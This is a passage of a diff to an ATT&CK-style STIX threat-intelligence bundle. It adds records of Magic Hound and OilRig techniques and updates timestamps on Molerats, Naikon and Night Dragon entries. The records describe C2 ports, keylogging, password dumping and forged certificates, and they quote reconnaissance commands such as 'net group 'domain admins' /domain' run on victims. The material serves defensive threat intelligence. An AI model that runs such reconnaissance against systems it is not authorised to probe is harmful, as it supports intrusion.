+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--bb784f1f-fb42-4587-9fe2-9dd5c8dffa5c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has communicated with C2 servers over port 6667 (for IRC) and port 8080.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--35b912d8-bf46-4dec-b2eb-c48c0056af6e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has communicated with its C2 server over ports 4443 and 3543.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--7ac10827-9bf6-4d60-aa16-9f2d2930b373",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has obtained the victim username and sent it to the C2 server.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--7f17927d-b371-42c4-bd68-0c5c57e3edab",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware can delete files.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--87b8b451-bf9b-4e93-b591-05ef502970f5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--675f24e0-c445-4eb3-a191-16fb181f6e30",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has used .vbs scripts for execution.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--023ff141-8ed7-4132-85a0-494fe075236b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware is capable of keylogging.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--a4c59c09-2abd-4c49-8156-0ccc9214b66e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware can list running processes.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--65f7704a-358a-464d-b09b-fee5dd96adf3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware can take a screenshot and upload the file to its C2 server.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--79f89b33-046c-4bfa-a12d-c50fa0d84ea6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware can use a SOAP Web service to communicate with its C2 server.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--83cfa11e-f221-4dc4-b184-943c2c7f4562",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Moafee has been known to employ binary padding.",
             "source_ref": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f",
@@ -29615,7 +34964,7 @@
             "id": "relationship--d6e40826-7af0-4e4e-96c3-28493abda6c7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
@@ -29628,7 +34977,7 @@
             "id": "relationship--6e757efa-8231-4674-a1ea-e234e2dfb838",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Molerats actors obtained a list of active processes on the victim and sent them to C2 servers.",
             "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
@@ -29648,7 +34997,7 @@
             "id": "relationship--a06bd922-b887-4134-81cb-1e4180cf5a5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Molerats used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.",
             "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
@@ -29668,7 +35017,7 @@
             "id": "relationship--361cbd71-b178-44d0-9802-78a310938bad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Molerats has used forged Microsoft code-signing certificates on malware.",
             "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
@@ -29689,7 +35038,7 @@
             "id": "relationship--3cdc74fc-a291-4253-98b4-ca33e021914a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
             "target_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -29702,7 +35051,7 @@
             "id": "relationship--fad44d26-02a8-4cdc-b566-5e24f32a93b3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
@@ -29710,12 +35059,25 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--877a67b0-5dea-467c-9da1-8eee3bcc19a6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653",
+            "target_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--2e77d363-e38f-40ad-a6ef-9222dc12793d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Naikon uses commands such as <code>netsh advfirewall firewall</code> to discover local firewall settings.",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
@@ -29736,7 +35098,7 @@
             "id": "relationship--7138c1e4-6791-424b-adc1-5b4c7d5e3cca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Naikon uses commands such as <code>netsh interface show</code> to discover network interface settings.",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
@@ -29757,7 +35119,7 @@
             "id": "relationship--7dba7706-128e-43a7-a240-6d456c9003a2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
@@ -29770,7 +35132,7 @@
             "id": "relationship--af0b0bfb-1a1e-4a06-b9e9-adeda7b6ad81",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
@@ -29783,7 +35145,7 @@
             "id": "relationship--956303a4-558c-433d-bc2f-28a7e69192ae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
@@ -29796,7 +35158,7 @@
             "id": "relationship--45966f4c-51d4-4940-854d-79d712f63ed5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
@@ -29809,7 +35171,7 @@
             "id": "relationship--f08c1f67-485b-4ebd-81dd-e886f63025e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
@@ -29822,7 +35184,7 @@
             "id": "relationship--0ef9bb79-c221-40a8-94b0-58bfc816565f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -29835,7 +35197,7 @@
             "id": "relationship--f2d601c9-8cc7-4425-b76f-fbc9997b55fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
@@ -29848,7 +35210,7 @@
             "id": "relationship--8119ee71-e017-4ba0-9aeb-a14c46f64f1a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
@@ -29861,7 +35223,7 @@
             "id": "relationship--0ead6cee-20a4-46fb-a9c1-8686a776f455",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
@@ -29874,7 +35236,7 @@
             "id": "relationship--4b521c7b-c66b-4bbc-847e-d6a13e9ae62c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
@@ -29887,7 +35249,7 @@
             "id": "relationship--2a220ca3-88f4-40eb-8041-184c412950d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47",
@@ -29900,7 +35262,7 @@
             "id": "relationship--437dd20a-234f-430b-b9ee-4524e1e12aa9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
@@ -29913,7 +35275,7 @@
             "id": "relationship--047ee6d3-1b85-4a0f-96a6-6ead4be43548",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Night Dragon is known to use software packing in its tools.",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
@@ -29934,7 +35296,7 @@
             "id": "relationship--fb6ffb5c-5405-4515-a120-7a34414933ea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OilRig has tested malware samples to determine AV detection and subsequently modified the samples to ensure AV evasion.",
             "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
@@ -29950,12 +35312,703 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--d8e375a3-f455-4c66-bc63-251f320ec8b1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has run <code>tasklist</code> on a victim.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--b22cebe6-129a-41a2-8a9e-70c222c88af6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has run <code>whoami</code> on a victim.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                },
+                {
+                    "source_name": "Palo Alto OilRig Oct 2016",
+                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--0c03f2b4-a752-4d74-9c26-5306132a3329",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has run <code>hostname</code> and <code>systeminfo</code> on a victim.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                },
+                {
+                    "source_name": "Palo Alto OilRig Oct 2016",
+                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e0301b36-c339-49c5-b257-9ece19152922",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has run <code>ipconfig /all</code> on a victim.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                },
+                {
+                    "source_name": "Palo Alto OilRig Oct 2016",
+                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--5f5af879-c239-416b-99ec-b46e2f9926a2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has run <code>net user</code>, <code>net user /domain</code>, <code>net group \u201cdomain admins\u201d /domain</code>, and <code>net group \u201cExchange Trusted Subsystem\u201d /domain</code> to get account listings on a victim.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
